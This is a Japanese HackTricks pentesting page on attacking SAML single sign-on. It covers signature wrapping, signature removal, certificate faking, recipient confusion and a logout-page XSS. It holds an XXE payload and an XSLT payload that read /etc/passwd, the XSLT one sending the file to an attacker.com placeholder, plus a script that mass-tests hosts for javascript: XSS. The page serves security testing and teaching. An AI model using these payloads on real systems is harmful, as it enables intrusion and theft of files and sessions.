SAML Attacks

SAML攻撃

**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

基本情報

pageSAML Basics

ツール

SAMLExtractor: URLまたはURLリストを取得し、SAML消費URLを返すツール。

XMLラウンドトリップ

XMLでは、XMLの署名部分がメモリに保存され、いくつかのエンコード/デコードが実行され、署名がチェックされます。理想的には、そのエンコード/デコードはデータを変更しないはずですが、そのシナリオに基づくと、チェックされるデータと元のデータが同じであるとは限りません

例えば、以下のコードをチェックしてください:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

プログラムをREXML 3.2.4またはそれ以前のバージョンに対して実行すると、代わりに次の出力が生成されます:

First child in original doc: Y
First child after round-trip: Z

これが、上記のプログラムからの元のXMLドキュメントをREXMLが見た方法です:

そして、パースとシリアライズのラウンド後にREXMLがそれを見た方法です:

脆弱性やその悪用方法に関する詳細情報は次のリンクを参照してください:

XML Signature Wrapping Attacks

XML Signature Wrapping attacks (XSW)では、敵対者はXMLドキュメントが署名検証機能呼び出しの2つの異なるフェーズを通過する際に生じる脆弱性を悪用します。これらの攻撃は、XMLドキュメント構造を変更することを含みます。具体的には、攻撃者はXML署名の有効性に影響を与えない偽造要素を挿入します。この操作は、アプリケーションロジックによって分析される要素と署名検証モジュールによってチェックされる要素との間に不一致を作成することを目的としています。その結果、XML署名は技術的に有効で検証に合格しますが、アプリケーションロジックは不正な要素を処理します。したがって、攻撃者は効果的にXML署名の整合性保護原点認証をバイパスし、検出されずに任意のコンテンツを挿入することができます。

以下の攻撃はこのブログ投稿 および この論文に基づいています。詳細については、それらを確認してください。

XSW #1

  • 戦略: 署名を含む新しいルート要素が追加されます。

  • 影響: バリデータは正当な "Response -> Assertion -> Subject" と攻撃者の "悪質な新しい Response -> Assertion -> Subject" の間で混乱する可能性があり、データ整合性の問題が発生します。

XSW #2

  • XSW #1 との違い: 包含署名の代わりに分離署名を使用します。

  • 影響: XSW #1と類似した"悪質"な構造は、整合性チェック後にビジネスロジックを欺くことを目的としています。

XSW #3

  • 戦略: 元のAssertionと同じ階層レベルで悪質なAssertionが作成されます。

  • 影響: ビジネスロジックが悪意のあるデータを使用するように混乱させることを意図しています。

XSW #4

  • XSW #3 との違い: 元のAssertionが複製された(悪質な)Assertionの子になります。

  • 影響: XSW #3に類似していますが、XML構造をより積極的に変更します。

XSW #5

  • ユニークな側面: 署名も元のAssertionも標準構成(包含/包含/分離)に従いません。

  • 影響: コピーされたAssertionが署名を包含し、期待されるドキュメント構造を変更します。

XSW #6

  • 戦略: XSW #4および#5と同様の位置挿入ですが、少し違います。

  • 影響: コピーされたAssertionが署名を包含し、それが元のAssertionを包含するようになり、入れ子の欺瞞的な構造が作成されます。

XSW #7

  • 戦略: 拡張要素がコピーされたAssertionの子として挿入されます。

  • 影響: これは、OpenSAMLなどのライブラリにおいて特にスキーマ検証対策をバイパスするために、拡張要素のより制限の少ないスキーマを悪用します。

XSW #8

  • XSW #7 との違い: 攻撃の変種のために別の制限の少ないXML要素を使用します。

  • 影響: 元のAssertionが制限の少ない要素の子になり、XSW #7で使用された構造が逆になります。

ツール

Burp拡張機能SAML Raiderを使用して、リクエストを解析し、選択したXSW攻撃を適用して実行することができます。

XXE

XXE攻撃の種類がわからない場合は、次のページを読んでください:

pageXXE - XEE - XML External Entity

SAML Responsesはデフレートおよびベース64エンコードされたXMLドキュメントであり、XML External Entity(XXE)攻撃の影響を受ける可能性があります。 SAML ResponseのXML構造を操作することで、攻撃者はXXE脆弱性を悪用しようとします。このような攻撃がどのように視覚化されるかについては、次のようになります:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

ツール

Burp拡張機能SAML Raiderを使用して、SAMLリクエストからPOCを生成して、可能なXXE脆弱性とSAML脆弱性をテストすることもできます。

このトークもチェックしてください: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML経由のXSLT

XSLTに関する詳細情報は、以下を参照してください:

pageXSLT Server Side Injection (Extensible Stylesheet Language Transformations)

拡張可能スタイルシート言語変換(XSLT)は、XMLドキュメントをHTML、JSON、またはPDFなどのさまざまな形式に変換するために使用できます。XSLT変換はデジタル署名の検証の前に実行されることに注意することが重要です。これは、有効な署名がなくても攻撃が成功する可能性があることを意味します。自己署名または無効な署名でも十分です。

ここでは、この種の脆弱性をチェックするためのPOCを見つけることができます。このセクションの冒頭で言及されているhacktricksページで、ペイロードを見つけることができます。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

ツール

SAML RaiderというBurp拡張機能を使用して、SAMLリクエストからPOCを生成して、XSLTの脆弱性をテストすることもできます。

このトークもチェックしてください: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML署名除外

XML Signature Exclusionは、Signature要素が存在しない場合にSAML実装の動作を観察します。この要素が欠落していると、署名検証が行われない可能性があり、脆弱性が生じる可能性があります。通常署名によって検証される内容を変更することで、これをテストすることができます。

ツール

Burp拡張機能SAML Raiderも使用できます。SAMLレスポンスをインターセプトして、Remove Signaturesをクリックします。これにより、すべてのSignature要素が削除されます。

署名が削除された状態でリクエストをターゲットに進めます。サービスが署名を必要としない場合、

証明書偽装

証明書偽装は、サービスプロバイダ(SP)がSAMLメッセージが信頼されたIdP(Identity Provider)によって署名されているかどうかを適切に検証するかどうかをテストする技術です。これには、自己署名証明書を使用してSAMLレスポンスまたはAssertionに署名することが含まれます。これにより、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。

証明書偽装の実施方法

以下の手順は、SAML Raider Burp拡張機能を使用したプロセスを概説しています:

  1. SAMLレスポンスをインターセプトします。

  2. レスポンスに署名が含まれている場合、Send Certificate to SAML Raider Certsボタンを使用して証明書をSAML Raider Certsに送信します。

  3. SAML Raider Certificatesタブで、インポートした証明書を選択し、Save and Self-Signをクリックして元の証明書の自己署名クローンを作成します。

  4. BurpのProxyでインターセプトされたリクエストに戻ります。XML Signatureドロップダウンから新しい自己署名証明書を選択します。

  5. Remove Signaturesボタンで既存の署名を削除します。

  6. 適切な**(Re-)Sign Messageまたは(Re-)Sign Assertion**ボタンを使用して、新しい証明書でメッセージまたはAssertionに署名します。

  7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書によって署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスにおける潜在的な脆弱性を明らかにします。

トークン受信者混乱 / サービスプロバイダーターゲット混乱

トークン受信者混乱とサービスプロバイダーターゲット混乱は、サービスプロバイダーが応答の意図された受信者を正しく検証するかどうかを確認するものです。要するに、サービスプロバイダーは、別のプロバイダー向けに意図されていない認証応答を拒否すべきです。ここで重要な要素は、SAMLレスポンスのSubjectConfirmationData要素内にあるRecipientフィールドです。このフィールドは、Assertionを送信する必要があるURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、Assertionは無効と見なされるはずです。

動作方法

SAMLトークン受信者混乱(SAML-TRC)攻撃を実行するためには、特定の条件を満たす必要があります。まず第一に、サービスプロバイダー(SP-Legitと呼ばれる)に有効なアカウントが存在している必要があります。第二に、対象となるサービスプロバイダー(SP-Target)は、SP-Legitにサービスを提供する同じIdentity Providerからトークンを受け入れる必要があります。

これらの条件の下で、攻撃プロセスは簡単です。共有Identity Providerを介してSP-Legitとの間で本物のセッションが開始されます。Identity ProviderからSP-Legitに向けられたSAMLレスポンスがインターセプトされます。元々SP-Legit向けに意図されていたこのインターセプトされたSAMLレスポンスは、その後SP-Targetにリダイレクトされます。この攻撃の成功は、SP-TargetがAssertionを受け入れ、SP-Legitで使用された同じアカウント名でリソースへのアクセスを許可することによって測定されます。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

ログアウト機能のXSS

オリジナルの研究は、このリンクからアクセスできます。

ディレクトリブルートフォースの過程で、次のログアウトページが発見されました:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

以下のリンクにアクセスすると、次のリダイレクトが発生しました:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

これにより、baseパラメーターがURLを受け入れることが判明しました。これを考慮して、javascript:alert(123);というURLで置き換えるアイデアが浮かび、XSS(クロスサイトスクリプティング)攻撃を試みることになりました。

大規模な悪用

この研究から

SAMLExtractorツールを使用して、uberinternal.comのサブドメインを分析し、同じライブラリを利用しているドメインを特定しました。その後、oidauth/promptページを対象とするスクリプトが開発されました。このスクリプトは、データを入力し、その出力に反映されるかどうかをチェックしてXSS(クロスサイトスクリプティング)をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱としてフラグ付けします。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated